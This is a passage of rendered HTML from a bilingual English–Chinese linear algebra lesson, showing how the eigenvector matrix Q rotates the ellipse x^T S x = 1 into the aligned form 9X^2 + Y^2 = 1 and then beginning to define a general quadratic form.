-0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∓</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></span></p></p><hr /><blockquote><ol><li>The tilted ellipse is associated with S. Its equation is x T Sx = l. 倾斜椭圆对应的是 矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex"> S </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span>，其方程为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mi>S</mi><mi>x</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> x^T S x = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>。</li><li>The lined-up ellipse is associated with A. Its equation is XT AX = 1. 对齐椭圆对应的是 矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span>，其方程为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>X</mi><mi>T</mi></msup><mi mathvariant="normal">Λ</mi><mi>X</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> X^T \Lambda X = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord">Λ</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>。</li><li>The rotation matrix that lines up the ellipse is the eigenvector matrix Q. 旋转矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi></mrow><annotation encoding="application/x-tex"> Q </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span> 可以将椭圆对齐。</li></ol></blockquote><p>用旋转矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi></mrow><annotation encoding="application/x-tex"> Q </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span> 将 椭圆对齐：</p><p>将 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex"> x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex"> y </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> 变换到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi></mrow><annotation encoding="application/x-tex"> X </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Y</mi></mrow><annotation encoding="application/x-tex"> Y </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><mi>Q</mi><mi>X</mi></mrow><annotation encoding="application/x-tex"> x = Q X </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">QX</span></span></span></span>，即</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>x</mi></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>y</mi></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mi>Q</mi><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>X</mi></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>Y</mi></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex">\begin{bmatrix} x \\ y \end{bmatrix} = Q \begin{bmatrix} X \\ Y \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span></span></p><p>代入原方程 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mi>S</mi><mi>x</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> x^T S x = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>Q</mi><mi>X</mi><msup><mo stretchy="false">)</mo><mi>T</mi></msup><mi>S</mi><mo stretchy="false">(</mo><mi>Q</mi><mi>X</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> (QX)^T S (QX) = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">QX</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">QX</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，即</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>X</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>Y</mi></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><msup><mi>Q</mi><mi>T</mi></msup><mi>S</mi><mi>Q</mi><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>X</mi></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>Y</mi></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\begin{bmatrix} X &amp; Y \end{bmatrix} Q^T S Q \begin{bmatrix} X \\ Y \end{bmatrix} = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">SQ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></span></p><p>因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>Q</mi><mi>T</mi></msup><mi>S</mi><mi>Q</mi><mo>=</mo><mi mathvariant="normal">Λ</mi></mrow><annotation encoding="application/x-tex"> Q^T S Q = \Lambda </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">SQ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Λ</span></span></span></span>，所以有</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>X</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>Y</mi></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mi mathvariant="normal">Λ</mi><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>X</mi></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>Y</mi></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\begin{bmatrix} X &amp; Y \end{bmatrix} \Lambda \begin{bmatrix} X \\ Y \end{bmatrix} = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">Λ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></span></p><p>代入 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="normal">Λ</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>9</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> \Lambda = \begin{bmatrix} 9 &amp; 0 \\ 0 &amp; 1 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Λ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">9</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span></span></p> 得 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mn>9</mn><msup><mi>X</mi><mn>2</mn></msup><mo>+</mo><msup><mi>Y</mi><mn>2</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> 9X^2 + Y^2 = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9474em;vertical-align:-0.0833em;"></span><span class="mord">9</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8641em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></span></p></p><p>就是对齐后的椭圆方程，这两个椭圆只是角度不同。</p><hr /><p>给定二次齐次函数 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><msub><mi>x</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>x</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>x</mi><mi>n</mi></msub><mo stretchy="false">)</mo><mo>=</mo><msub><mi>a</mi><mn>11</mn></msub><msubsup><mi>x</mi><mn>1</mn><mn>2</mn></msubsup><mo>+</mo><msub><mi>a</mi><mn>22</mn></msub><msubsup><mi>x</mi><mn>2</mn><mn>2</mn></msubsup><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>a</mi><mrow><mi>n</mi><mi>n</mi></mrow></msub><msubsup><mi>x</mi><mi>n</mi><mn>2</mn></msubsup><mo>+</mo><mn>2</mn><msub><mi>a</mi><mn>12</mn></msub><msub><mi>x</mi><mn>1</mn></msub><msub><mi>x</mi><mn>2</mn></msub><mo>+</mo><mn>2</mn><msub><mi>a</mi><mn>13</mn></msub><msub><mi>x</mi><mn>1</mn></msub><msub><mi>x</mi><mn>3</mn></msub><mo>+</mo><mo>…</mo><mo>+</mo><mn>2</mn><msub><mi>a</mi><mrow><mi>n</mi><mo>−</mo><mn>1</mn><mo separator="true">,</mo><mi>n</mi></mrow></msub><msub><mi>x</mi><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msub><msub><mi>x</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex"> f(x_1, x_2, \ldots, x_n) = a_{11} x_1^2 + a_{22} x_2^2 + \ldots + a_{nn} x_n^2 + 2a_{12} x_1 x_2 + 2a_{13} x_1 x_3 + \ldots + 2a_{n-1,n} x_{n-1} x_n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span 